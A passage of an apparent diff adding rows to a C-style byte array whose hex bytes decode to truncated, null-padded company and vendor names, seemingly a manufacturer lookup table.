0x63, 0x6f, 0x6d, 0x54, 0x65, +0x49, 0x66, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x43, 0x65, 0x76, 0x61, 0x00, 0x00, 0x00, 0x00, +0x44, 0x69, 0x6e, 0x44, 0x69, 0x65, 0x74, 0x6d, +0x44, 0x72, 0x73, 0x43, 0x6f, 0x6e, 0x73, 0x6f, +0x53, 0x65, 0x6e, 0x73, 0x75, 0x73, 0x4d, 0x65, +0x51, 0x75, 0x61, 0x73, 0x61, 0x72, 0x54, 0x65, +0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x43, 0x72, +0x50, 0x69, 0x74, 0x74, 0x61, 0x73, 0x6f, 0x66, +0x4d, 0x6f, 0x6e, 0x65, 0x79, 0x74, 0x65, 0x63, +0x4c, 0x6f, 0x6a, 0x61, 0x63, 0x6b, 0x00, 0x00, +0x4a, 0x65, 0x6f, 0x72, 0x69, 0x63, 0x68, 0x54, +0x52, 0x69, 0x6e, 0x67, 0x63, 0x75, 0x62, 0x65, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x6e, 0x43, 0x65, +0x53, 0x69, 0x6e, 0x67, 0x61, 0x70, 0x6f, 0x72, +0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x57, 0x69, +0x45, 0x6c, 0x65, 0x74, 0x74, 0x72, 0x6f, 0x6c, +0x53, 0x65, 0x2d, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x56, 0x78, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x38, 0x4e, 0x65, +0x4d, 0x70, 0x65, 0x64, 0x69, 0x61, 0x00, 0x00, +0x53, 0x79, 0x70, 0x68, 0x61, 0x6e, 0x54, 0x65, +0x54, 0x61, 0x6e, 0x74, 0x61, 0x6c, 0x75, 0x73, +0x43, 0x6f, 0x61, 0x63, 0x68, 0x63, 0x6f, 0x6d, +0x4d, 0x6f, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, +0x53, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, +0x49, 0x62, 0x72, 0x69, 0x64, 0x67, 0x65, 0x4e, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x62, 0x72, 0x6f, +0x4c, 0x75, 0x78, 0x74, 0x65, 0x72, 0x61, 0x00, +0x56, 0x69, 0x7a, 0x69, 0x6d, 0x61, 0x78, 0x00, +0x49, 0x6e, 0x69, 0x74, 0x2d, 0x49, 0x6e, 0x73, +0x41, 0x74, 0x65, 0x6e, 0x69, 0x78, 0x45, 0x45, +0x41, 0x7a, 0x69, 0x6d, 0x75, 0x74, 0x50, 0x72, +0x56, 0x61, 0x6e, 0x42, 0x72, 0x65, 0x64, 0x61, +0x44, 0x61, 0x6e, 0x74, 0x68, 0x65, 0x72, 0x6d, +0x45, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x43, +0x4e, 0x65, 0x6d, 0x6f, 0x2d, 0x51, 0x49, 0x6e, +0x53, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4b, 0x75, 0x6e, 0x69, 0x6d, 0x69, 0x4d, 0x65, +0x46, 0x69, 0x62, 0x65, 0x72, 0x70, 0x6c, 0x65, +0x4e, 0x65, 0x6c, 0x69, 0x54, 0x65, 0x63, 0x68, +0x44, 0x2d, 0x42, 0x6f, 0x78, 0x54, 0x65, 0x63, +0x4a, 0x73, 0x63, 0x43, 0x6f, 0x6e, 0x63, 0x65, +0x4a, 0x46, 0x4c, 0x61, 0x62, 0x73, 0x00, 0x00, +0x43, 0x61, 0x6d, 0x63, 0x6f, 0x50, 0x72, 0x6f, +0x53, 0x74, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x48, 0x75, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x74, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x72, 0x65, 0x64, +0x4e, 0x65, 0x77, 0x50, 0x6f, 0x73, 0x54, 0x65, +0x43, 0x61, 0x6c, 0x6c, 0x74, 0x65, 0x63, 0x68, +0x45, 0x71, 0x75, 0x69, 0x70, 0x73, 0x6f, 0x6e, +0x58, 0x2d, 0x53, 0x74, 0x61, 0x72, 0x4e, 0x65, +0x4d, 0x61, 0x6b, 0x73, 0x61, 0x74, 0x54, 0x65, +0x4b, 0x6f, 0x6b, 0x75, 0x79, 0x6f, 0x53, 0x26, +0x56, 0x69, 0x74, 0x61, 0x6c, 0x69, 0x74, 0x79, +0x47, 0x65, 0x6e, 0x69, 0x65, 0x49, 0x6e, 0x64, +0x48, 0x69, 0x6c, 0x6c, 0x73, 0x49, 0x6e, 0x64, +0x50, 0x6f, 0x6c, 0x65, 0x2f, 0x5a, 0x65, 0x72, +0x45, 0x73, 0x75, 0x73, 0x45, 0x6c, 0x65, 0x6b, +0x48, 0x61, 0x69, 0x65, 0x72, 0x00, 0x00, 0x00, +0x57, 0x65, 0x61, 0x74, 0x68, 0x65, 0x72, 0x43, +0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x4d, +0x53, 0x75, 0x70, 0x65, 0x72, 0x4d, 0x69, 0x63, +0x4e, 0x65, 0x78, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x44, 0x61, 0x74, 0x6e, 0x65, 0x74, 0x49, 0x6e, +0x45, 0x75, 0x72, 0x6f, 0x64, 0x65, 0x73, 0x69, +0x4e, 0x6f, 0x72, 0x74, 0x68, 0x77, 0x65, 0x73, +0x47, 0x69, 0x67, 0x61, 0x76, 0x69, 0x73, 0x69, +0x4b, 0x61, 0x6c, 0x6b, 0x69, 0x43, 0x6f, 0x6d, +0x5a, 0x68, 0x6f, 0x6e, 0x67, 0x53, 0x68, 0x61, +0x48, 0x65, 0x64, 0x6f, 0x6e, 0x45, 0x44, 0x42, +0x43, 0x65, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x50, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x64, 0x69, +0x45, 0x6e, 0x61, 0x6c, 0x61, 0x73, 0x79, 0x73, +0x41, 0x6c, 0x74, 0x61, 0x44, 0x65, 0x66, 0x69, +0x54, 0x72, 0x69, 0x6d, 0x61, 0x78, 0x57, 0x69, +0x57, 0x61, 0x6c, 0x6e, 0x75, 0x74, 0x4d, 0x65, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x4e, +0x43, 0x6f, 0x6d, 0x76, 0x65, 0x72, 0x67, 0x65, +0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x42, +0x41, 0x69, 0x6f, 0x4c, 0x63, 0x64, 0x50, 0x63, +0x49, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x54, +0x53, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x74, 0x7a, +0x4d, 0x61, 0x79, 0x61, 0x2d, 0x43, 0x72, 0x65, +0x4d, 0x62, 0x64, 0x61, 0x44, 0x65, 0x75, 0x74, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x46, +0x43, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x45, 0x6c, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, +0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x53, +0x49, 0x6e, 0x6e, 0x65, 0x72, 0x69, 0x6e, 0x74, +0x49, 0x74, 0x61, 0x6c, 0x64, 0x61, 0x74, 0x61, +0x54, 0x65, 0x6b, 0x74, 0x72, 0x61, 0x70, 0x00, +0x5a, 0x69, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x74, +0x4e, 0x61, 0x77, 0x6f, 0x6f, 0x4b, 0x6f, 0x72, +0x52, 0x69, 0x6e, 0x67, 0x62, 0x65, 0x6c, 0x6c, +0x32, 0x31, 0x31, 0x36, 0x38, 0x00, 0x00, 0x00, +0x53, 0x74, 0x61, 0x72, 0x4c, 0x69, 0x6e, 0x6b, +0x4b, 0x61, 0x73, 0x65, 0x72, 0x63, 0x6f, 0x72, +0x41, 0x6c, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x2d, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, +0x4c, 0x73, 0x52, 0x65, 0x73, 0x65, 0x61, 0x72, +0x52, 0x65, 0x69, 0x6e, 0x65, 0x72, 0x53, 0x63, +0x53, 0x6b, 0x79, 0x6c, 0x61, 0x6e, 0x65, 0x4f, +0x49, 0x6e, 0x6e, 0x65, 0x72, 0x73, 0x70, 0x61, +0x49, 0x6e, 0x70, 0x65, 0x67, 0x76, 0x69, 0x73, +0x52, 0x6f, 0x62, 0x6f, 0x6e, 0x69, 0x63, 0x61, +0x4b, 0x72, 0x6f, 0x67, 0x65, 0x72, 0x00, 0x00, +0x43, 0x65, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x4d, 0x61, 0x69, +0x44, 0x61, 0x74, 0x61, 0x66, 0x61, 0x62, 0x00, +0x53, 0x65, 0x63, 0x75, 0x72, 0x61, 0x4b, 0x65, +0x41, 0x74, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x75, 0x6e, 0x6e, 0x79, 0x74, 0x65, 0x6b, +0x50, 0x72, 0x6f, 0x62, 0x69, 0x74, 0x73, 0x00, +0x43, 0x65, 0x65, 0x64, 0x74, 0x65, 0x63, 0x53, +0x45, 0x76, 0x65, 0x72, 0x73, 0x70, 0x72, 0x69, +0x48, 0x61, 0x6e, 0x73, 0x68, 0x69, 0x6e, 0x69, +0x4f, 0x6d, 0x6e, 0x69, 0x2d, 0x57, 0x69, 0x66, +0x42, 0x65, 0x6c, 0x67, 0x69, 0x61, 0x6e, 0x4d, +0x49, 0x64, 0x61, 0x68, 0x6f, 0x54, 0x65, 0x63, +0x49, 0x2d, 0x4d, 0x61, 0x74, 0x65, 0x44, 0x65, +0x49, 0x70, 0x68, 0x69, 0x6f, 0x6e, 0x42, 0x76, +0x52, 0x65, 0x75, 0x74, 0x65, 0x63, 0x68, 0x52, +0x48, 0x75, 0x6d, 0x61, 0x6e, 0x77, 0x61, 0x72, +0x4e, 0x75, 0x76, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x41, 0x76, 0x74, 0x65, 0x78, 0x00, 0x00, 0x00, +0x49, 0x2d, 0x54, 0x65, 0x63, 0x00, 0x00, 0x00, +0x53, 0x75, 0x67, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x4e, 0x6f, 0x72, 0x64, 0x77, 0x65, 0x73, 0x74, +0x4b, 0x6f, 0x63, 0x6f, 0x43, 0x6f, 0x6e, 0x6e, +0x44, 0x76, 0x73, 0x4b, 0x6f, 0x72, 0x65, 0x61, +0x4e, 0x65, 0x74, 0x74, 0x61, 0x6c, 0x6b, 0x43, +0x41, 0x6e, 0x73, 0x61, 0x6c, 0x64, 0x6f, 0x53, +0x47, 0x6d, 0x6b, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4a, 0x26, 0x4d, 0x41, 0x6e, 0x61, 0x6c, 0x79, +0x54, 0x75, 0x6e, 0x73, 0x74, 0x61, 0x6c, 0x6c, +0x45, 0x6e, 0x64, 0x61, 0x45, 0x6e, 0x64, 0x75, +0x4f, 0x62, 0x72, 0x43, 0x65, 0x6e, 0x74, 0x72, +0x50, 0x69, 0x6c, 0x6f, 0x74, 0x45, 0x6c, 0x65, +0x43, 0x72, 0x65, 0x6e, 0x6f, 0x76, 0x61, 0x4d, +0x54, 0x65, 0x61, 0x63, 0x41, 0x75, 0x73, 0x74, +0x43, 0x75, 0x74, 0x65, 0x72, 0x61, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x54, 0x65, 0x6d, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x50, 0x72, 0x6f, +0x43, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x75, 0x6d, 0x66, 0x65, 0x6c, 0x64, +0x45, 0x6e, 0x61, 0x62, 0x6c, 0x69, 0x6e, 0x67, +0x50, 0x68, 0x79, 0x6c, 0x6c, 0x69, 0x73, 0x00, +0x44, 0x61, 0x74, 0x61, 0x72, 0x61, 0x6d, 0x00, +0x4d, 0x65, 0x72, 0x63, 0x75, 0x72, 0x79, 0x00, +0x41, 0x62, 0x6c, 0x61, 0x7a, 0x65, 0x4c, 0x6c, +0x4c, 0x69, 0x6e, 0x6e, 0x50, 0x72, 0x6f, 0x64, +0x41, 0x70, 0x61, 0x63, 0x65, 0x77, 0x61, 0x76, +0x4c, 0x69, 0x63, 0x65, 0x72, 0x61, 0x00, 0x00, +0x53, 0x70, 0x61, 0x63, 0x65, 0x45, 0x78, 0x70, +0x45, 0x6e, 0x67, 0x65, 0x6c, 0x41, 0x78, 0x69, +0x4b, 0x74, 0x6e, 0x66, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x00, +0x4f, 0x65, 0x6d, 0x57, 0x6f, 0x72, 0x6c, 0x64, +0x46, 0x72, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x65, 0x6d, 0x74, 0x6f, 0x63, 0x6f, 0x6d, +0x4c, 0x61, 0x75, 0x72, 0x65, 0x6c, 0x42, 0x61, +0x4e, 0x65, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00, +0x43, 0x6f, 0x70, 0x53, 0x65, 0x63, 0x75, 0x72, +0x51, 0x69, 0x6e, 0x67, 0x62, 0x61, 0x6e, 0x67, +0x53, 0x61, 0x65, 0x4d, 0x61, 0x67, 0x6e, 0x65, +0x49, 0x73, 0x67, 0x75, 0x73, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x63, 0x6c, +0x4a, 0x72, 0x64, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x73, 0x70, 0x75, +0x47, 0x65, 0x6f, 0x70, 0x68, 0x79, 0x73, 0x69, +0x54, 0x72, 0x75, 0x65, 0x73, 0x65, 0x6c, 0x6c, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x6e, 0x79, 0x74, +0x4a, 0x75, 0x70, 0x68, 0x6f, 0x6f, 0x6e, 0x53, +0x50, 0x72, 0x6f, 0x78, 0x65, 0x6e, 0x73, 0x65, +0x57, 0x6f, 0x6e, 0x67, 0x73, 0x45, 0x6c, 0x65, +0x49, 0x6b, 0x74, 0x41, 0x64, 0x76, 0x61, 0x6e, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x4a, +0x48, 0x61, 0x6d, 0x61, 0x6d, 0x61, 0x74, 0x73, +0x41, 0x63, 0x6f, 0x72, 0x65, 0x6c, 0x53, 0x41, +0x43, 0x6f, 0x6d, 0x6d, 0x74, 0x61, 0x63, 0x74, +0x49, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x6d, 0x65, +0x4d, 0x69, 0x72, 0x2d, 0x4d, 0x65, 0x64, 0x69, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x74, 0x61, +0x42, 0x6c, 0x75, 0x65, 0x74, 0x65, 0x63, 0x68, +0x58, 0x69, 0x61, 0x4d, 0x65, 0x6e, 0x4a, 0x6f, +0x54, 0x4d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x63, 0x00, +0x4f, 0x6e, 0x62, 0x6e, 0x65, 0x74, 0x65, 0x63, +0x4d, 0x69, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, +0x42, 0x61, 0x75, 0x73, 0x74, 0x65, 0x6d, 0x42, +0x43, 0x69, 0x72, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x57, 0x66, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x52, 0x61, 0x69, 0x6c, 0x52, 0x6f, 0x61, 0x64, +0x4b, 0x72, 0x67, 0x65, 0x72, 0x26, 0x47, 0x00, +0x44, 0x61, 0x79, 0x73, 0x65, 0x71, 0x75, 0x65, +0x53, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x69, 0x63, +0x4f, 0x6f, 0x6f, 0x4e, 0x70, 0x70, 0x45, 0x6b, +0x54, 0x2d, 0x50, 0x6c, 0x61, 0x74, 0x66, 0x6f, +0x4c, 0x6f, 0x67, 0x69, 0x77, 0x61, 0x79, 0x73, +0x49, 0x72, 0x75, 0x6d, 0x74, 0x65, 0x6b, 0x00, +0x43, 0x6f, 0x72, 0x65, 0x53, 0x79, 0x73, 0x74, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x65, +0x43, 0x61, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x00, +0x45, 0x73, 0x73, 0x65, 0x6e, 0x73, 0x69, 0x75, +0x53, 0x68, 0x69, 0x6e, 0x65, 0x55, 0x6e, 0x69, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x61, 0x63, +0x4e, 0x69, 0x73, 0x73, 0x68, 0x6f, 0x2d, 0x44, +0x43, 0x6f, 0x6f, 0x72, 0x64, 0x69, 0x77, 0x69, +0x43, 0x69, 0x6e, 0x63, 0x68, 0x43, 0x6f, 0x6e, +0x41, 0x75, 0x74, 0x6f, 0x76, 0x69, 0x73, 0x69, +0x41, 0x61, 0x6d, 0x70, 0x4f, 0x66, 0x41, 0x6d, +0x41, 0x7a, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6c, +0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x64, 0x74, 0x41, +0x44, 0x65, 0x69, 0x66, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x73, +0x45, 0x75, 0x70, 0x68, 0x6f, 0x6e, 0x69, 0x63, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x48, 0x6f, 0x6e, +0x47, 0x73, 0x69, 0x48, 0x65, 0x6c, 0x6d, 0x68, +0x4d, 0x65, 0x74, 0x7a, 0x2d, 0x57, 0x65, 0x72, +0x41, 0x2d, 0x4d, 0x61, 0x78, 0x54, 0x65, 0x63, +0x5a, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x69, 0x6f, +0x53, 0x69, 0x6c, 0x33, 0x50, 0x74, 0x79, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x70, 0x69, +0x41, 0x6a, 0x6f, 0x68, 0x6f, 0x45, 0x6e, 0x74, +0x4b, 0x69, 0x73, 0x61, 0x6e, 0x53, 0x79, 0x73, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x49, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x65, 0x6e, 0x6e, +0x54, 0x65, 0x72, 0x72, 0x69, 0x65, 0x72, 0x53, +0x53, 0x74, 0x61, 0x72, 0x6c, 0x65, 0x61, 0x66, +0x43, 0x65, 0x6c, 0x6c, 0x74, 0x65, 0x6c, 0x53, +0x41, 0x6c, 0x74, 0x61, 0x53, 0x6f, 0x6c, 0x75, +0x4d, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x44, 0x6f, 0x49, 0x74, 0x00, 0x00, 0x00, +0x51, 0x76, 0x69, 0x64, 0x69, 0x75, 0x6d, 0x54, +0x53, 0x65, 0x6e, 0x73, 0x63, 0x69, 0x65, 0x6e, +0x5a, 0x74, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x49, +0x4e, 0x6f, 0x6f, 0x6c, 0x69, 0x78, 0x00, 0x00, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x54, 0x65, 0x63, +0x43, 0x61, 0x72, 0x69, 0x6e, 0x61, 0x53, 0x79, +0x53, 0x6f, 0x6b, 0x72, 0x61, 0x74, 0x00, 0x00, +0x49, 0x74, 0x75, 0x73, 0x4a, 0x61, 0x70, 0x61, +0x4d, 0x32, 0x6d, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x4d, 0x6f, 0x62, 0x6c, 0x69, 0x63, 0x00, 0x00, +0x4d, 0x65, 0x67, 0x67, 0x65, 0x72, 0x00, 0x00, +0x46, 0x71, 0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, +0x4e, 0x6f, 0x76, 0x75, 0x73, 0x50, 0x72, 0x6f, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x72, 0x6f, 0x62, +0x54, 0x72, 0x69, 0x78, 0x65, 0x6c, 0x6c, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x53, +0x44, 0x61, 0x65, 0x68, 0x61, 0x70, 0x48, 0x79, +0x53, 0x74, 0x72, 0x6f, 0x6e, 0x67, 0x54, 0x65, +0x4b, 0x65, 0x6e, 0x6d, 0x65, 0x63, 0x4d, 0x65, +0x41, 0x72, 0x61, 0x64, 0x61, 0x00, 0x00, 0x00, +0x44, 0x75, 0x65, 0x6c, 0x63, 0x6f, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x69, 0x73, 0x41, 0x75, 0x74, +0x53, 0x65, 0x74, 0x72, 0x69, 0x78, 0x00, 0x00, +0x46, 0x6f, 0x72, 0x64, 0x4d, 0x6f, 0x74, 0x6f, +0x49, 0x63, 0x6f, 0x6d, 0x6d, 0x54, 0x65, 0x6c, +0x4b, 0x69, 0x6e, 0x67, 0x73, 0x74, 0x6f, 0x6e, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x4a, +0x4a, 0x74, 0x65, 0x63, 0x43, 0x61, 0x72, 0x64, +0x53, 0x63, 0x68, 0x6f, 0x6f, 0x6e, 0x64, 0x65, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x68, 0x75, +0x41, 0x72, 0x74, 0x72, 0x61, 0x79, 0x00, 0x00, +0x53, 0x63, 0x64, 0x69, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x73, 0x69, 0x67, 0x68, 0x74, 0x65, +0x43, 0x61, 0x64, 0x6d, 0x6f, 0x73, 0x4d, 0x69, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x53, 0x65, +0x50, 0x72, 0x6f, 0x76, 0x65, 0x6e, 0x74, 0x69, +0x50, 0x75, 0x72, 0x70, 0x6c, 0x65, 0x63, 0x6f, +0x4b, 0x6f, 0x7a, 0x75, 0x6d, 0x69, 0x55, 0x73, +0x44, 0x65, 0x6b, 0x61, 0x52, 0x26, 0x44, 0x00, +0x53, 0x65, 0x6d, 0x69, 0x68, 0x61, 0x6c, 0x66, +0x53, 0x53, 0x71, 0x75, 0x61, 0x72, 0x65, 0x64, +0x50, 0x63, 0x75, 0x62, 0x65, 0x00, 0x00, 0x00, +0x5a, 0x65, 0x6e, 0x6f, 0x49, 0x6e, 0x66, 0x6f, +0x49, 0x72, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x72, 0x79, 0x53, 0x6f, 0x6c, 0x75, 0x63, +0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x41, 0x6e, +0x4b, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x6f, +0x4d, 0x61, 0x67, 0x69, 0x63, 0x50, 0x6f, 0x69, +0x49, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x45, 0x6d, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x44, +0x46, 0x69, 0x76, 0x61, 0x6c, 0x53, 0x63, 0x69, +0x46, 0x64, 0x69, 0x4d, 0x61, 0x74, 0x65, 0x6c, +0x54, 0x61, 0x69, 0x64, 0x6f, 0x63, 0x54, 0x65, +0x41, 0x73, 0x69, 0x74, 0x65, 0x71, 0x00, 0x00, +0x44, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x65, 0x67, 0x50, 0x6f, 0x77, 0x65, 0x72, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x68, 0x69, +0x53, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x68, 0x65, 0x65, 0x72, 0x63, 0x68, 0x69, +0x4c, 0x65, 0x67, 0x72, 0x61, 0x6e, 0x64, 0x48, +0x54, 0x6b, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x74, 0x72, 0x69, 0x78, 0x73, 0x49, 0x6e, +0x4e, 0x65, 0x73, 0x73, 0x6c, 0x61, 0x62, 0x00, +0x58, 0x72, 0x70, 0x6c, 0x75, 0x73, 0x00, 0x00, +0x4d, 0x69, 0x6c, 0x69, 0x74, 0x61, 0x72, 0x79, +0x4e, 0x69, 0x76, 0x65, 0x74, 0x74, 0x69, 0x50, +0x47, 0x6f, 0x6c, 0x64, 0x65, 0x6e, 0x48, 0x69, +0x53, 0x45, 0x4d, 0x53, 0x72, 0x6c, 0x00, 0x00, +0x42, 0x61, 0x6e, 0x64, 0x72, 0x69, 0x63, 0x68, +0x41, 0x69, 0x72, 0x64, 0x69, 0x6f, 0x57, 0x69, +0x41, 0x63, 0x73, 0x69, 0x70, 0x54, 0x65, 0x63, +0x4d, 0x6b, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x49, 0x6e, 0x63, 0x6f, 0x73, 0x74, 0x61, 0x72, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x65, 0x64, 0x67, +0x54, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x45, +0x53, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x59, 0x6f, 0x69, 0x73, 0x79, 0x73, 0x00, 0x00, +0x4c, 0x69, 0x66, 0x74, 0x43, 0x6f, 0x6d, 0x70, +0x4e, 0x6f, 0x72, 0x64, 0x69, 0x61, 0x67, 0x41, +0x49, 0x65, 0x65, 0x53, 0x41, 0x00, 0x00, 0x00, +0x41, 0x64, 0x75, 0x72, 0x61, 0x54, 0x65, 0x63, +0x45, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x4c, 0x61, 0x6e, 0x70, 0x72, 0x6f, 0x00, 0x00, +0x4d, 0x61, 0x78, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x47, 0x72, 0x61, 0x69, 0x6e, 0x6d, 0x75, 0x73, +0x52, 0x65, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x54, +0x41, 0x64, 0x61, 0x63, 0x68, 0x69, 0x2d, 0x53, +0x43, 0x65, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x4e, 0x65, +0x47, 0x65, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x54, +0x41, 0x6c, 0x65, 0x63, 0x53, 0x69, 0x63, 0x68, +0x43, 0x6f, 0x6d, 0x62, 0x61, 0x54, 0x65, 0x6c, +0x58, 0x61, 0x67, 0x79, 0x6c, 0x43, 0x6f, 0x6d, +0x4d, 0x69, 0x70, 0x72, 0x6f, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x77, 0x2d, 0x53, 0x6f, 0x6c, 0x43, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x4f, +0x4c, 0x61, 0x72, 0x73, 0x79, 0x73, 0x2d, 0x41, +0x54, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x46, 0x69, 0x62, 0x65, 0x72, 0x68, 0x6f, 0x6d, +0x41, 0x6c, 0x6c, 0x77, 0x65, 0x6c, 0x6c, 0x54, +0x53, 0x6d, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x78, 0x70, 0x61, 0x6e, 0x64, 0x4e, 0x65, +0x50, 0x68, 0x61, 0x73, 0x79, 0x73, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x64, 0x74, 0x65, 0x6b, 0x52, +0x53, 0x75, 0x70, 0x65, 0x72, 0x70, 0x6f, 0x77, +0x4f, 0x70, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x69, 0x6f, 0x44, 0x69, 0x67, 0x69, +0x54, 0x61, 0x63, 0x68, 0x69, 0x6f, 0x6e, 0x4e, +0x4d, 0x70, 0x68, 0x61, 0x73, 0x65, 0x54, 0x65, +0x43, 0x6f, 0x6e, 0x67, 0x72, 0x75, 0x65, 0x6e, +0x4d, 0x6d, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4b, 0x6c, 0x6f, 0x74, 0x7a, 0x44, 0x69, 0x67, +0x49, 0x6d, 0x74, 0x2d, 0x49, 0x6e, 0x66, 0x6f, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x65, 0x74, +0x44, 0x69, 0x76, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x43, 0x70, 0x43, 0x6c, 0x61, 0x72, 0x65, 0x00, +0x49, 0x73, 0x68, 0x69, 0x64, 0x61, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x61, 0x72, 0x63, 0x55, +0x4a, 0x65, 0x74, 0x77, 0x61, 0x79, 0x49, 0x6e, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x62, 0x72, 0x69, +0x53, 0x68, 0x75, 0x74, 0x74, 0x6c, 0x65, 0x00, +0x41, 